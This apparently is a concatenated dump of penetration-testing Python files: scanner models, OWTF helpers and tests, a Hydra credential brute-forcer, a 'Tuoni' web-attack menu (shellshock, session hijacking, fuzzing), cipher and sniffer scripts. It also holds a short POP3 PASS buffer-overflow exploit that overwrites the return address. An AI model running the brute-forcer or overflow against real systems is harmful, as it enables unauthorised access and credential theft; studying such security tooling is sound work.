db.create_table(u'xtreme_server_vulnerability', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('form', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Form'])),
('details', self.gf('django.db.models.fields.TextField')(blank=True)),
('url', self.gf('django.db.models.fields.TextField')(blank=True)),
('re_attack', self.gf('django.db.models.fields.TextField')(blank=True)),
('project', self.gf('django.db.models.fields.TextField')(blank=True)),
('timestamp', self.gf('django.db.models.fields.TextField')(blank=True)),
('msg_type', self.gf('django.db.models.fields.TextField')(blank=True)),
('msg', self.gf('django.db.models.fields.TextField')(blank=True)),
('auth', self.gf('django.db.models.fields.TextField')(blank=True)),
))
db.send_create_signal(u'xtreme_server', ['Vulnerability'])
# Adding model 'Settings'
db.create_table(u'xtreme_server_settings', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('allowed_extensions', self.gf('django.db.models.fields.TextField')()),
('allowed_protocols', self.gf('django.db.models.fields.TextField')()),
('consider_only', self.gf('django.db.models.fields.TextField')()),
('exclude_fields', self.gf('django.db.models.fields.TextField')()),
('username', self.gf('django.db.models.fields.TextField')()),
('password', self.gf('django.db.models.fields.TextField')()),
('auth_mode', self.gf('django.db.models.fields.TextField')()),
))
db.send_create_signal(u'xtreme_server', ['Settings'])
# Adding model 'LearntModel'
db.create_table(u'xtreme_server_learntmodel', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('project', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Project'])),
('page', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Page'])),
('form', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Form'])),
('query_id', self.gf('django.db.models.fields.TextField')()),
('learnt_model', self.gf('django.db.models.fields.TextField')(blank=True)),
))
db.send_create_signal(u'xtreme_server', ['LearntModel'])
def backwards(self, orm):
# Deleting model 'Project'
db.delete_table(u'xtreme_server_project')
# Deleting model 'Page'
db.delete_table(u'xtreme_server_page')
# Deleting model 'Form'
db.delete_table(u'xtreme_server_form')
# Deleting model 'InputField'
db.delete_table(u'xtreme_server_inputfield')
# Deleting model 'Vulnerability'
db.delete_table(u'xtreme_server_vulnerability')
# Deleting model 'Settings'
db.delete_table(u'xtreme_server_settings')
# Deleting model 'LearntModel'
db.delete_table(u'xtreme_server_learntmodel')
models = {
u'xtreme_server.form': {
'Meta': {'object_name': 'Form'},
'auth_visited': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'form_action': ('django.db.models.fields.URLField', [], {'max_length': '200', 'blank': 'True'}),
'form_content': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'form_found_on': ('django.db.models.fields.URLField', [], {'max_length': '200'}),
'form_method': ('django.db.models.fields.CharField', [], {'default': "'GET'", 'max_length': '10'}),
'form_name': ('django.db.models.fields.CharField', [], {'max_length': '512', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'input_field_list': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Project']"})
},
u'xtreme_server.inputfield': {
'Meta': {'object_name': 'InputField'},
'form': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Form']"}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'input_type': ('django.db.models.fields.CharField', [], {'default': "'input'", 'max_length': '256', 'blank': 'True'})
},
u'xtreme_server.learntmodel': {
'Meta': {'object_name': 'LearntModel'},
'form': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Form']"}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'learnt_model': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'page': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Page']"}),
'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Project']"}),
'query_id': ('django.db.models.fields.TextField', [], {})
},
u'xtreme_server.page': {
'Meta': {'object_name': 'Page'},
'URL': ('django.db.models.fields.URLField', [], {'max_length': '200'}),
'auth_visited': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'connection_details': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'content': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'page_found_on': ('django.db.models.fields.URLField', [], {'max_length': '200', 'blank': 'True'}),
'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Project']"}),
'status_code': ('django.db.models.fields.CharField', [], {'max_length': '256', 'blank': 'True'}),
'visited': ('django.db.models.fields.BooleanField', [], {'default': 'False'})
},
u'xtreme_server.project': {
'Meta': {'object_name': 'Project'},
'allowed_extensions': ('django.db.models.fields.TextField', [], {}),
'allowed_protocols': ('django.db.models.fields.TextField', [], {}),
'consider_only': ('django.db.models.fields.TextField', [], {}),
'exclude_fields': ('django.db.models.fields.TextField', [], {}),
'login_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}),
'logout_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}),
'password': ('django.db.models.fields.TextField', [], {}),
'password_field': ('django.db.models.fields.TextField', [], {'default': "'Not Set'"}),
'project_name': ('django.db.models.fields.CharField', [], {'max_length': '50', 'primary_key': 'True'}),
'query_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}),
'start_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}),
'status': ('django.db.models.fields.CharField', [], {'default': "'Not Set'", 'max_length': '50'}),
'username': ('django.db.models.fields.TextField', [], {}),
'username_field': ('django.db.models.fields.TextField', [], {'default': "'Not Set'"})
},
u'xtreme_server.settings': {
'Meta': {'object_name': 'Settings'},
'allowed_extensions': ('django.db.models.fields.TextField', [], {}),
'allowed_protocols': ('django.db.models.fields.TextField', [], {}),
'auth_mode': ('django.db.models.fields.TextField', [], {}),
'consider_only': ('django.db.models.fields.TextField', [], {}),
'exclude_fields': ('django.db.models.fields.TextField', [], {}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'password': ('django.db.models.fields.TextField', [], {}),
'username': ('django.db.models.fields.TextField', [], {})
},
u'xtreme_server.vulnerability': {
'Meta': {'object_name': 'Vulnerability'},
'auth': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'details': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'form': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Form']"}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'msg': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'msg_type': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'project': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
're_attack': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'timestamp': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'url': ('django.db.models.fields.TextField', [], {'blank': 'True'})
}
}
complete_apps = ['xtreme_server'] | 63.617925 | 130 | 0.570886 |
PenetrationTestingScripts | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : jeffzhang
# @Time : 18-6-19
# @File : auth_scanner.py
# @Desc : ""
import time
from threading import Thread
from datetime import datetime
from multiprocessing import Pool
from fuxi.views.lib.mongo_db import connectiondb, db_name_conf
from fuxi.views.modules.auth_tester.hydra_plugin import HydraScanner
from fuxi.views.lib.parse_target import parse_target
from apscheduler.schedulers.blocking import BlockingScheduler
from instance import config_name
config_db = db_name_conf()['config_db']
weekpasswd_db = db_name_conf()['weekpasswd_db']
auth_db = db_name_conf()['auth_db']
def hydra_scanner(args):
start = HydraScanner(args)
result = start.scanner()
return result
def host_check(args):
start = HydraScanner(args)
result = start.host_check()
return result
class AuthCrack:
def __init__(self, task_id):
self.task_id = task_id
self.db_cursor = connectiondb(auth_db).find_one({"_id": self.task_id})
self.processes = connectiondb(config_db).find_one({"config_name": config_name})['auth_tester_thread']
self.task_name = self.db_cursor['task_name']
self.username_list = self.db_cursor['username']
self.password_list = self.db_cursor['password']
self.target_list = parse_target(self.db_cursor['target'])
self.online_target = []
self.service_list = self.db_cursor['service']
self.args = self.db_cursor['args']
self.result_pool = []
self.result = []
self.week_count = 0
def start_scan(self):
tmp_result = []
args = self.args
connectiondb(auth_db).update_one({"_id": self.task_id}, {"$set": {"status": "Processing"}})
for service in self.service_list:
# Filter online host
pool_a = Pool(processes=self.processes)
args_check = self._args_parse(service, 'check')
for args in args_check:
tmp_result.append(pool_a.apply_async(host_check, (args,)))
pool_a.close()
pool_a.join()
for res_a in tmp_result:
if res_a.get():
self.online_target.append(res_a.get())
# start crack
pool_b = Pool(processes=self.processes)
args_crack = self._args_parse(service, 'crack')
for args in args_crack:
self.result.append(pool_b.apply_async(hydra_scanner, (args,)))
pool_b.close()
pool_b.join()
self.online_target = []
for res_b in self.result:
if res_b.get():
target = res_b.get()['target']
service = res_b.get()['service']
username = res_b.get()['username']
password = res_b.get()['password']
self.save_result(target, service, username, password)
connectiondb(auth_db).update_one({"_id": self.task_id}, {"$set": {
"status": "Completed",
"week_count": self.week_count,
}})
def save_result(self, target, service, username, password):
data = {
"target": target,
"service": service,
"username": username,
"password": password,
"date": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
"task_id": self.task_id,
"task_name": self.task_name,
"tag": ""
}
self.week_count += 1
connectiondb(weekpasswd_db).insert_one(data)
def _args_parse(self, service, opt):
args_list = []
if opt == 'check':
for target in self.target_list:
if ":" in target:
target_l = target.split(":")
if target_l[-1].isdigit():
port = target_l[-1]
del target_l[-1]
target = ''.join(target_l)
self.args = self.args + '-s %s' % port
if service in ['redis', 'cisco', 'oracle-listener', 's7-300', 'snmp', 'vnc']:
if len(self.args) > 0:
command = ['hydra', '-t', '1', '-p', ''] + [self.args] + [target] + [service]
else:
command = ['hydra', '-t', '1', '-p', ''] + [target] + [service]
else:
if len(self.args) > 0:
command = ['hydra', '-t', '1', '-l', '', '-p', ''] + [self.args] + [target] + [service]
else:
command = ['hydra', '-t', '1', '-l', '', '-p', ''] + [target] + [service]
args_list.append(command)
elif opt == 'crack':
for target in self.online_target:
if ":" in target:
target_l = target.split(":")
if target_l[-1].isdigit():
port = target_l[-1]
del target_l[-1]
target = ''.join(target_l)
self.args = self.args + '-s %s' % port
if service in ['redis', 'cisco', 'oracle-listener', 's7-300', 'snmp', 'vnc']:
for password in self.password_list:
if len(self.args) > 0:
command = ['hydra', '-t', '1', '-p', password] + [self.args] + [target] + [service]
else:
command = ['hydra', '-t', '1', '-p', password] + [target] + [service]
args_list.append(command)
else:
for username in self.username_list:
for password in self.password_list:
if len(self.args) > 0:
command = ['hydra', '-t', '1', '-l', username, '-p', password] + [self.args] + [target] + [service]
else:
command = ['hydra', '-t', '1', '-l', username, '-p', password] + [target] + [service]
args_list.append(command)
return args_list
class AuthTesterLoop:
def __init__(self):
self.recursion = ''
self.status = ''
self.scan_date = ''
self.task_id = ''
def task_schedule(self):
scheduler = BlockingScheduler()
try:
scheduler.add_job(self._get_task, 'interval', seconds=30)
scheduler.start()
except Exception as e:
print(e)
def _get_task(self):
for task_info in connectiondb(auth_db).find():
self.recursion = task_info['recursion']
self.status = task_info['status']
self.scan_date = task_info['date']
self.task_id = task_info['_id']
start_date = datetime.strptime(self.scan_date, "%Y-%m-%d %H:%M:%S")
plan_time = (datetime.now() - start_date).total_seconds()
if self.recursion == 0:
pass
# every day
elif self.recursion == 1 and "Completed" in self.status:
if plan_time > 60 * 60 * 24 * 1:
if self.start_loop_scan():
print("[*] Every Day Task Start...", time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))
# every week
elif self.recursion == 7 and "Completed" in self.status:
if plan_time > 60 * 60 * 24 * 7:
if self.start_loop_scan():
print("[*] Every Week Task Start...", time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))
# every month
elif self.recursion == 30 and "Completed" in self.status:
if plan_time > 60 * 60 * 24 * 30:
if self.start_loop_scan():
print("[*] Every Month Task Start...", time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))
def start_loop_scan(self):
connectiondb(weekpasswd_db).update({"task_id": self.task_id}, {"$set": {"tag": "delete"}}, multi=True)
connectiondb(auth_db).update_one({"_id": self.task_id}, {"$set": {
"status": "Queued",
"date": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()),
"week_count": 0,
}})
scanner = AuthCrack(self.task_id)
if scanner:
t1 = Thread(target=scanner.start_scan, args=())
t1.start()
return True
| 40.470588 | 131 | 0.490129 |
owtf | import math
from collections import namedtuple
from sqlalchemy.sql import and_, or_
def filter_none(kwargs):
"""
Remove all `None` values froma given dict. SQLAlchemy does not
like to have values that are None passed to it.
:param kwargs: Dict to filter
:return: Dict without any 'None' values
"""
n_kwargs = {}
for k, v in kwargs.items():
if v:
n_kwargs[k] = v
return n_kwargs
def session_query(model):
"""
Returns a SQLAlchemy query object for the specified `model`.
If `model` has a ``query`` attribute already, that object will be returned.
Otherwise a query will be created and returned based on `session`.
:param model: sqlalchemy model
:return: query object for model
"""
from owtf.db.session import get_scoped_session
session = get_scoped_session()
return model.query if hasattr(model, "query") else session.query(model)
def create_query(model, kwargs):
"""
Returns a SQLAlchemy query object for specified `model`. Model
filtered by the kwargs passed.
:param model:
:param kwargs:
:return:
"""
s = session_query(model)
return s.filter_by(**kwargs)
def find_all(query, model, kwargs):
"""
Returns a query object that ensures that all kwargs
are present.
:param query:
:param model:
:param kwargs:
:return:
"""
conditions = []
kwargs = filter_none(kwargs)
for attr, value in kwargs.items():
if not isinstance(value, list):
value = value.split(",")
conditions.append(get_model_column(model, attr).in_(value))
return query.filter(and_(*conditions))
def get_model_column(model, field):
if field in getattr(model, "sensitive_fields", ()):
raise AttrNotFound(field)
column = model.__table__.columns._data.get(field, None)
if column is None:
raise AttrNotFound(field)
return column
def find_any(query, model, kwargs):
"""
Returns a query object that allows any kwarg
to be present.
:param query:
:param model:
:param kwargs:
:return:
"""
or_args = []
for attr, value in kwargs.items():
or_args.append(or_(get_model_column(model, attr) == value))
exprs = or_(*or_args)
return query.filter(exprs)
def filter(query, model, terms):
"""
Helper that searched for 'like' strings in column values.
:param query:
:param model:
:param terms:
:return:
"""
column = get_model_column(model, terms[0])
return query.filter(column.ilike("%{}%".format(terms[1])))
def sort(query, model, field, direction):
"""
Returns objects of the specified `model` in the field and direction
given
:param query:
:param model:
:param field:
:param direction:
"""
column = get_model_column(model, field)
return query.order_by(column.desc() if direction == "desc" else column.asc())
def apply_pagination(query, page_number=None, page_size=None):
"""Apply pagination to a SQLAlchemy query object.
:param page_number:
Page to be returned (starts and defaults to 1).
:param page_size:
Maximum number of results to be returned in the page (defaults
to the total results).
:returns:
A 2-tuple with the paginated SQLAlchemy query object and
a pagination namedtuple.
The pagination object contains information about the results
and pages: ``page_size`` (defaults to ``total_results``),
``page_number`` (defaults to 1), ``num_pages`` and
``total_results``.
Basic usage::
query, pagination = apply_pagination(query, 1, 10)
>>> len(query)
10
>>> pagination.page_size
10
>>> pagination.page_number
1
>>> pagination.num_pages
3
>>> pagination.total_results
22
>>> page_size, page_number, num_pages, total_results = pagination
"""
total_results = query.count()
query = _limit(query, page_size)
# Page size defaults to total results
if page_size is None or (page_size > total_results and total_results > 0):
page_size = total_results
query = _offset(query, page_number, page_size)
# Page number defaults to 1
if page_number is None:
page_number = 1
num_pages = _calculate_num_pages(page_number, page_size, total_results)
Pagination = namedtuple("Pagination", ["page_number", "page_size", "num_pages", "total_results"])
return query, Pagination(page_number, page_size, num_pages, total_results)
def _limit(query, page_size):
if page_size is not None:
if page_size < 0:
raise Exception("Page size should not be negative: {}".format(page_size))
query = query.limit(page_size)
return query
def _offset(query, page_number, page_size):
if page_number is not None:
if page_number < 1:
raise Exception("Page number should be positive: {}".format(page_number))
query = query.offset((page_number - 1) * page_size)
return query
def _calculate_num_pages(page_number, page_size, total_results):
if page_size == 0:
return 0
return math.ceil(total_results / page_size)
| 26.518325 | 101 | 0.630447 |
owtf | """
tests.owtftest
~~~~~~~~~~~~~~
Test cases.
"""
from __future__ import print_function
from builtins import input
import os
import copy
import glob
import tornado
import unittest
import mock
from hamcrest import *
from tests.utils import (
load_log,
db_setup,
clean_owtf_review,
DIR_OWTF_REVIEW,
DIR_OWTF_LOGS,
)
from tests.server import WebServerProcess
class OWTFCliTestCase(unittest.TestCase):
"""Basic OWTF test case that initialises basic patches."""
DEFAULT_ARGS = ["--nowebui"]
PROTOCOL = "http"
IP = "127.0.0.1"
DOMAIN = "localhost"
PORT = "8888"
def __init__(self, methodName="runTest"):
super(OWTFCliTestCase, self).__init__(methodName)
self.args = copy.copy(self.DEFAULT_ARGS)
def setUp(self):
self.args = copy.copy(self.DEFAULT_ARGS)
self.clean_old_runs()
self.raw_input_patcher = mock.patch("builtins.input", return_value=["Y"])
self.raw_input_patcher.start()
def tearDown(self):
self.raw_input_patcher.stop()
self.clean_logs()
def run_owtf(self, *extra_args):
"""Run OWTF with args plus ``extra_args`` if any."""
if self.args:
args = self.args[:]
else:
args = self.DEFAULT_ARGS[:]
if extra_args:
args += extra_args
print("with the following options: %s" % args)
args_str = " ".join(args)
os.system("owtf {}".format(args_str))
self.load_logs()
def load_logs(self):
"""Load all file logs generated by OWTF during the run."""
abs_path = os.path.join(os.getcwd(), DIR_OWTF_REVIEW, DIR_OWTF_LOGS)
self.logs_main_process = []
for main_process_log in glob.glob(os.path.join(abs_path, "MainProcess*.log")):
self.logs_main_process.extend(load_log(main_process_log, absolute_path=True))
self.logs_worker = []
for worker_log in glob.glob(os.path.join(abs_path, "Worker*.log")):
self.logs_worker.extend(load_log(worker_log, absolute_path=True))
self.logs_proxy_process = []
for proxy_log in glob.glob(os.path.join(abs_path, "ProxyProcess*.log")):
self.logs_proxy_process.extend(load_log(proxy_log, absolute_path=True))
self.logs_transaction_logger = []
for trans_log in glob.glob(os.path.join(abs_path, "TransactionLogger*.log")):
self.logs_transaction_logger.extend(load_log(trans_log, absolute_path=True))
self.logs = {
"MainProcess": self.logs_main_process,
"Worker": self.logs_worker,
"ProxyProcess": self.logs_proxy_process,
"TransactionLogger": self.logs_transaction_logger,
}
self.logs_all = []
for log in self.logs.items():
self.logs_all.extend(log)
def clean_logs(self):
"""Remove old logs that have been loaded during a run."""
if hasattr(self, "logs_main_process"):
self.logs_main_process = []
if hasattr(self, "logs_worker"):
self.logs_worker = []
if hasattr(self, "logs_proxy_process"):
self.logs_proxy_process = []
if hasattr(self, "logs_transaction_logger"):
self.logs_transaction_logger = []
if hasattr(self, "logs"):
self.logs = {}
if hasattr(self, "logs_all"):
self.logs_all = []
@staticmethod
def clean_old_runs():
"""Clean the database and the older owtf_review directory."""
# Reset the database.
db_setup("clean")
db_setup("init")
# Remove old OWTF outputs
clean_owtf_review()
# Specific methods that test logs and function calls.
def assert_has_been_logged(self, text, name=None, msg=None):
if name and name in self.logs:
assert_that(self.logs[name], has_item(text), msg)
else:
assert_that(self.logs_all, has_item(text), msg)
def assert_has_not_been_logged(self, text, name=None, msg=None):
if name and name in self.logs:
assert_that(self.logs[name], not (has_item(text)), msg)
else:
assert_that(self.logs_all, not (has_item(text)), msg)
def assert_is_in_logs(self, text, name=None, msg=None):
if name and name in self.logs:
self.assertTrue(text in str(self.logs[name]), msg)
else:
self.assertTrue(text in str(self.logs_all), msg)
def assert_is_not_in_logs(self, text, name=None, msg=None):
if name and name in self.logs:
self.assertFalse(text in str(self.logs[name]), msg)
else:
self.assertFalse(text in str(self.logs_all), msg)
def assert_are_in_logs(self, texts, name=None, msg=None):
for text in texts:
self.assert_is_in_logs(text, name, msg)
def assert_are_not_in_logs(self, texts, name=None, msg=None):
for text in texts:
self.assert_is_not_in_logs(text, name, msg)
class OWTFCliWebPluginTestCase(OWTFCliTestCase):
DEFAULT_ARGS = ["--nowebui"]
PROTOCOL = "http"
IP = "127.0.0.1"
PORT = "8888"
MATCH_PLUGIN_START = "Execution Start"
MATCH_BUG = "OWTF BUG"
DYNAMIC_METHOD_REGEX = "^set_(head|get|post|put|delete|options|connect)_response"
def setUp(self):
super(OWTFCliWebPluginTestCase, self).setUp()
# Web server initialization.
self.server = WebServerProcess(self.IP, self.PORT)
self.server.start()
def tearDown(self):
super(OWTFCliWebPluginTestCase, self).tearDown()
self.server.stop()
tornado.ioloop.IOLoop.clear_instance()
| 32.577381 | 89 | 0.603369 |
owtf | """
Plugin for probing MsRpc
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = " MsRpc Probing "
def run(PluginInfo):
resource = get_resources("MsRpcProbeMethods")
# No previous output
return plugin_helper.CommandDump("Test Command", "Output", resource, PluginInfo, [])
| 23.857143 | 88 | 0.740634 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python
import socket
buffer=["A"]
counter=100
string="A"*2606 + "\x8f\x35\x4a\x5f" +"C"*390
if 1:
print"Fuzzing PASS with %s bytes" % len(string)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.250.136',110))
data=s.recv(1024)
#print str(data)
s.send('USER root\r\n')
data=s.recv(1024)
print str(data)
s.send('PASS ' + string + '\r\n')
data=s.recv(1024)
print str(data)
print "done"
#s.send('QUIT\r\n')
#s.close()
| 17.551724 | 54 | 0.577281 |
Penetration_Testing | '''
<Tuoni - Web Attack Program>
Currently has the following capabilities:
* Shellshock attack
* Directory fuzzer
* Session hijacker
* Get robots.txt file
* Test file upload ability
* Whois lookups
* Zone transfers
* Web spidering
* Banner grabbing
Currently working on adding:
*
Planning to work on:
* Password brute-forcer
* SQL Injection
'''
import sys
import requests
import threading
import subprocess
from web_attacks import get_request
from web_attacks import shellshock
from web_attacks import build_wordlist
from web_attacks import dir_fuzzer
from web_attacks import get_robots
from web_attacks import test_methods
from web_attacks import session_hijacker
from web_attacks import whois
from web_attacks import zone_transfer
from web_attacks import spider
from web_attacks import banner_grab
def main():
global target, wordlist_file, threads, resume, a_ip, a_port
threads = 50
if len(sys.argv[1:]) != 1:
print '''
<Tuoni - Web Attack Program>\n
Options:
-1 : Perform a shellshock attack.
-2 : Perform web-directory fuzzing.
-3 : Perform SQL injection. [Under work]
-4 : Perform password brute-forcing. [Under work]
-5 : Perform session hijacking.
-6 : Get robots.txt file.
-7 : Test for file upload ability.
-8 : Perform a "whois" lookup. [Linux/Unix Only]
-9 : Perform zone transfers. [Linux/Unix Only]
-10 : Perform web spidering.
-11 : Perform banner grabbing. [Linux/Unix Only]
-12 : Perform all. [Under work]
'''
sys.exit(0)
option = sys.argv[1]
if option == "-1":
target = raw_input("Enter the target URL: ")
a_ip = raw_input("Enter your IP: ")
a_port = raw_input("Enter the port to connect back to: ")
shellshock(target, a_ip, a_port)
if option == "-2":
url = raw_input("Enter the target URL: ")
# The word list used for brute-forcing
wordlist_file = raw_input("Enter the word list filepath(E.g., /opt/SVNDigger/all.txt)\n: ")
word_queue = build_wordlist(wordlist_file)
extensions = [".php", ".bak", ".orig", ".inc", ".pl", ".cfm", ".asp", ".js", ".DS_Store", ".php~1", ".tmp", ".aspx", ".jsp", ".d2w", ".py", ".dll", ".nsf", ".ntf"]
for i in range(threads):
t = threading.Thread(target=dir_fuzzer, args=(url, word_queue, extensions))
t.start()
if option == "-5":
target = raw_input("Enter the target URL: ")
session_hijacker(target)
if option == "-6":
target = raw_input("Enter the target URL: ")
get_robots(target)
if option == "-7":
target = raw_input("Enter the target URL: ")
test_methods(target)
if option == "-8":
target = raw_input("Enter the target URL: ")
whois(target)
if option == "-9":
target = raw_input("Enter the target URL: ")
zone_transfer(target)
if option == "-10":
target = raw_input("Enter the target URL: ")
word = raw_input("Enter the word to look for: ")
max_count = int(raw_input("Enter the maximum pages to crawl through: "))
spider(target, max_count, word)
if option == "-11":
banner_grab()
main()
| 23.051852 | 171 | 0.617375 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
PenetrationTestingScripts | # ACTION_CHECKBOX_NAME is unused, but should stay since its import from here
# has been referenced in documentation.
from django.contrib.admin.decorators import register
from django.contrib.admin.filters import (
AllValuesFieldListFilter, BooleanFieldListFilter, ChoicesFieldListFilter,
DateFieldListFilter, FieldListFilter, ListFilter, RelatedFieldListFilter,
RelatedOnlyFieldListFilter, SimpleListFilter,
)
from django.contrib.admin.helpers import ACTION_CHECKBOX_NAME
from django.contrib.admin.options import (
HORIZONTAL, VERTICAL, ModelAdmin, StackedInline, TabularInline,
)
from django.contrib.admin.sites import AdminSite, site
from django.utils.module_loading import autodiscover_modules
__all__ = [
"register", "ACTION_CHECKBOX_NAME", "ModelAdmin", "HORIZONTAL", "VERTICAL",
"StackedInline", "TabularInline", "AdminSite", "site", "ListFilter",
"SimpleListFilter", "FieldListFilter", "BooleanFieldListFilter",
"RelatedFieldListFilter", "ChoicesFieldListFilter", "DateFieldListFilter",
"AllValuesFieldListFilter", "RelatedOnlyFieldListFilter", "autodiscover",
]
def autodiscover():
autodiscover_modules('admin', register_to=site)
default_app_config = 'django.contrib.admin.apps.AdminConfig'
| 40.466667 | 79 | 0.786002 |
cybersecurity-penetration-testing | import socket
import struct
host = "192.168.0.1"
port = 12347
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(1)
conn, addr = s.accept()
print "connected by", addr
msz= struct.pack('hhl', 1, 2, 3)
conn.send(msz)
conn.close() | 15.5625 | 53 | 0.685606 |
cybersecurity-penetration-testing | # Transposition File Hacker
# http://inventwithpython.com/hacking (BSD Licensed)
import sys, time, os, sys, transpositionDecrypt, detectEnglish
inputFilename = 'frankenstein.encrypted.txt'
outputFilename = 'frankenstein.decrypted.txt'
def main():
if not os.path.exists(inputFilename):
print('The file %s does not exist. Quitting.' % (inputFilename))
sys.exit()
inputFile = open(inputFilename)
content = inputFile.read()
inputFile.close()
brokenMessage = hackTransposition(content)
if brokenMessage != None:
print('Writing decrypted text to %s.' % (outputFilename))
outputFile = open(outputFilename, 'w')
outputFile.write(brokenMessage)
outputFile.close()
else:
print('Failed to hack encryption.')
# The hackTransposition() function's code was copy/pasted from
# transpositionHacker.py and had some modifications made.
def hackTransposition(message):
print('Hacking...')
# Python programs can be stopped at any time by pressing Ctrl-C (on
# Windows) or Ctrl-D (on Mac and Linux)
print('(Press Ctrl-C or Ctrl-D to quit at any time.)')
for key in range(1, len(message)):
print('Trying key #%s... ' % (key), end='')
sys.stdout.flush()
# We want to track the amount of time it takes to test a single key,
# so we record the time in startTime.
startTime = time.time()
decryptedText = transpositionDecrypt.decryptMessage(key, message)
englishPercentage = round(detectEnglish.getEnglishCount(decryptedText) * 100, 2)
totalTime = round(time.time() - startTime, 3)
print('Test time: %s seconds, ' % (totalTime), end='')
sys.stdout.flush() # flush printed text to the screen
print('Percent English: %s%%' % (englishPercentage))
if englishPercentage > 20:
print()
print('Key ' + str(key) + ': ' + decryptedText[:100])
print()
print('Enter D for done, or just press Enter to continue:')
response = input('> ')
if response.strip().upper().startswith('D'):
return decryptedText
return None
# If transpositionFileHacker.py is run (instead of imported as a module)
# call the main() function.
if __name__ == '__main__':
main() | 34.132353 | 89 | 0.621859 |
Python-Penetration-Testing-for-Developers | import requests
import time
def check_httponly(c):
if 'httponly' in c._rest.keys():
return True
else:
return '\x1b[31mFalse\x1b[39;49m'
#req = requests.get('http://www.realvnc.com/support')
values = []
for i in xrange(0,5):
req = requests.get('http://www.google.com')
for cookie in req.cookies:
print 'Name:', cookie.name
print 'Value:', cookie.value
values.append(cookie.value)
if not cookie.secure:
cookie.secure = '\x1b[31mFalse\x1b[39;49m'
print 'HTTPOnly:', check_httponly(cookie), '\n'
time.sleep(2)
print set(values) | 22.869565 | 53 | 0.689781 |
cybersecurity-penetration-testing | import socket
import os
import struct
from ctypes import *
# host to listen on
host = "192.168.0.187"
class IP(Structure):
_fields_ = [
("ihl", c_ubyte, 4),
("version", c_ubyte, 4),
("tos", c_ubyte),
("len", c_ushort),
("id", c_ushort),
("offset", c_ushort),
("ttl", c_ubyte),
("protocol_num", c_ubyte),
("sum", c_ushort),
("src", c_ulong),
("dst", c_ulong)
]
def __new__(self, socket_buffer=None):
return self.from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer=None):
# map protocol constants to their names
self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"}
# human readable IP addresses
self.src_address = socket.inet_ntoa(struct.pack("<L",self.src))
self.dst_address = socket.inet_ntoa(struct.pack("<L",self.dst))
# human readable protocol
try:
self.protocol = self.protocol_map[self.protocol_num]
except:
self.protocol = str(self.protocol_num)
# create a raw socket and bind it to the public interface
if os.name == "nt":
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0))
# we want the IP headers included in the capture
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# if we're on Windows we need to send some ioctls
# to setup promiscuous mode
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
try:
while True:
# read in a single packet
raw_buffer = sniffer.recvfrom(65565)[0]
# create an IP header from the first 20 bytes of the buffer
ip_header = IP(raw_buffer[0:20])
print "Protocol: %s %s -> %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)
except KeyboardInterrupt:
# if we're on Windows turn off promiscuous mode
if os.name == "nt":
